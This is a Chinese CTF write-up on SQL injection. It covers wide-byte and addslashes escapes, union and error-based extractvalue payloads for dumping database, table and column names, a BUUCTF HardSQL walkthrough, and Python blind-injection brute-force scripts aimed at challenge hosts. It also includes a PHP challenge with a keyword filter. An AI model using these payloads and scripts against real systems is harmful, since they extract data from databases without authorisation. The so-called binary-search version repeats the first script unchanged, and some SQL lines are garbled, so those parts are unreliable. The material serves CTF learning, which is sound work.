CTF WEB总结之SQL注入(一)

398 阅读1分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第7天,点击查看活动详情

0x1、SQL 注入

/drop |dumpfile\b|INTO FILE|union select|or|and|union|select|'|"|outfile\b|load_file\b|multipoint(/i
变量拼接
addslashes($id)
id.' " ';
id.';
表名常用的符号
' " `

hex过后的值 闭合可能使用单引号,双引号,括号

一、有回显

宽字节注入

原理: GBK编码、URL转码 利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)

例如:' -> ' -> %5C%27
%df' -> %df' -> %df%5C%27

sql字符集特性

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是, 对于utf8_unicode_ci下面等式才成立:ß = ss 。 可以看到大写O和Ö是相等的

SQL注入常用URL编码

空格 %20 ' %27 # %23 \ %5C php-addslashes函数:在特殊字符前加上反斜线\来转义 如何从addslashes函数逃逸? \ 前面再加一个 \ ,变成 \' ,这样\就被转义了

sql =′ select1, 2, 3, fromxxxwhereid = " .
′
sql =′ select1, 2, 3, fromxxxwhereid =′ .

把\弄没

表名或列名可以使用16进制转码来实现 例如:ctf -> 0x637466 sqlmap中加参数 --hex 2、sqli-lab中部分题目

less-3和level-4
select * from * where id = ('$id') LIMIT 0,1 猜测后台语句
?id = 0')union select 1,2,3 payload
select * from * where id = ("$id") LIMIT 0,1 猜测后台语句
?id = 0')union select 1,2,3 payload

二、无回显(盲注)

1、报错注入

(使用前提是虽然没有回显,但是有报错显示,主要涉及xpath语法错误) 涉及关键词: extractvalue、updatexml、floor

extractvalue函数 函数原型:extractvalue(xml_document,Xpath_string)

正常语法: extractvalue(xml_document,Xpath_string);

第一个参数:xml_document是string格式,为xml文档 对象的名称

第二个参数:Xpath_string是xpath格式的字符串 作用:从目标xml中返回包含所查询 值的字符串 第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报 错信息里,因此可以利用。

pyload:id='and(select extractvalue("anything",concat('~',(select语句))))

例如:

id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))

针对mysql数据库:

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name)
from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME)
from TABLE_NAME))))

以buuctf的hardsql举例子:

# 猜测后台sql语句
update users set password='xxxx' where username="xxxx" and
pwd='202cb962ac59075b964b07152d234b70'
update users set password='xxxx' where
username=
"
admin"^(select(extractvalue(1,concat(0x7e,(select(database()))))))%23#" and
pwd=''
#爆库
^
(select(extractvalue(1,concat(0x7e,(select(database()))))))%23
# 爆表
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(table_name))from(information_schema.tables))))))
%23
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(table_name))from(information_schema.tables)WHERE((table_schema)li
ke('geek')))))))%23
# 爆列
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(column_name))from(information_schema.columns)WHERE((table_name)li
ke('H4rDsq1')))))))%23
# flag
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(password))from(H4rDsq1))))))%23
# flag{99de1004-039d-48de-8cbf-5d 只有一部分
# flag2 3a893e16a7} 用left()或者right函数爆出另外一部分
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(right(password,30)))from(H4rDsq1))))))%23
# flag{99de1004-039d-48de-8cbf-5d3a893e16a7}

2、bool注入

涉及关键词: xor、or、and、^、&、| 常规步骤(以异或举例)

# 爆库
1^(ascii(substr(database(),1,1))=97)
# 表
1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(
table
_
schema=database())),1,1))=97)
# 字段
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)wher
e(table_name="F1naI1y")),1,1))=97)
# flag
1^(ascii(substr((select(group_concat(password))from(F1naI1y)),1,1))=97)
import requests  
import string  
import time  
  
s = string.digits + string.ascii_lowercase + string.ascii_uppercase + '-' + '_' + '{' + '}' + '/' + ':'  
print(s)  
res = ''  
url = 'http://6fe26771-015e-44ee-80b4-568faa962523.node4.buuoj.cn/search.php?id='  
**for** i **in** range(1, 500):  
    **for** tmp **in** s:  
         *# payload = '1^(ascii(substr(database(),%d,1))=%d)'%(i,ord(tmp))    #substr被过滤可以用mid*  
         *# payload = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))=%d)' % (i, ord(tmp))*  
         *# payload = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),%d,1))=%d)' % (i, ord(tmp))*  
  
        payload = '1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)' % (i, ord(tmp))  
        r = requests.get(url + payload)  
        time.sleep(0.05)  
        **if** 'ERROR' **in** r.text:  
             *# print(i)*  
            res += tmp  
             *# print(tmp)*  
            **break**  
    print(res)

升级版(用了二分法)

import requests  
import string  
import time  
  
s = string.digits + string.ascii_lowercase + string.ascii_uppercase + '-' + '_' + '{' + '}' + '/' + ':'  
print(s)  
res = ''  
url = 'http://6fe26771-015e-44ee-80b4-568faa962523.node4.buuoj.cn/search.php?id='  
**for** i **in** range(1, 500):  
    **for** tmp **in** s:  
         *# payload = '1^(ascii(substr(database(),%d,1))=%d)'%(i,ord(tmp))    #substr被过滤可以用mid*  
         *# payload = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))=%d)' % (i, ord(tmp))*  
         *# payload = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),%d,1))=%d)' % (i, ord(tmp))*  
  
        payload = '1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)' % (i, ord(tmp))  
        r = requests.get(url + payload)  
        time.sleep(0.05)  
        **if** 'ERROR' **in** r.text:  
             *# print(i)*  
            res += tmp  
             *# print(tmp)*  
            **break**  
    print(res)

例题:

<?php  
highlight_file( **__FILE__** );  
**$link** = mysqli_connect(  
    'localhost',   
    'ctf',       
    'ctf',    
    'ctf');   
  
**if** (! **$link**) {  
    printf("Can't connect to MySQL Server. Errorcode: %s "mysqli_connect_error());  
    **exit**;  
}  
**else**  
{  
    **function** check( **$str**){  
        **if**(preg_match("/\^|\'|**\"** |>|<|=| |if|and|select|union|or|where|load|into|dump|\*|substr|regexp|left|right|ascii/", **$str**) || strlen( **$str**)>30){  
        **die**('hacker');  
    }}  
  
    **if**(**isset**( **$_POST**['uname'])&&**isset**( **$_POST**['passwd'])){  
         **$username**= **$_POST**['uname'];  
         **$password**= **$_POST**['passwd'];  
        check( **$username**);check( **$password**);  
         **$result** = mysqli_query( **$link**, 'SELECT * FROM userinfo2  WHERE uname="'. **$username** .'" and passwd="'. **$password**.'"');  
         **$row**=**null**;  
    **if**( **$result**){  
         **$row** = mysqli_fetch_assoc( **$result**);  
    }  
  
    **if**( **$row**!==**null**){  
            **echo** "login success";  
        **if**( **$row**['passwd']=== **$_POST**['passwd']){  
            **echo** file_get_contents('/flag');  
        }  
    }  
     
}  
}  
**?>**  

 

url="http://101.34.94.44:8012/index3.php"  
import string  
import requests  
s=string.ascii_lowercase+string.digits  
flag=''  
**for** i **in** range(1,50):  
  print(i)  
  **for** j **in** s:  
    data={  
    'uname':'\\',  
    'passwd':'||mid(passwd,{0},1)like({1})#'.format(i,hex(ord(j)))}  
     *#print(data)*  
    r=requests.post(url,data=data)  
    **if** "</code>login success" **in** r.text:  
      flag+=j  
      print(flag)  
      **break**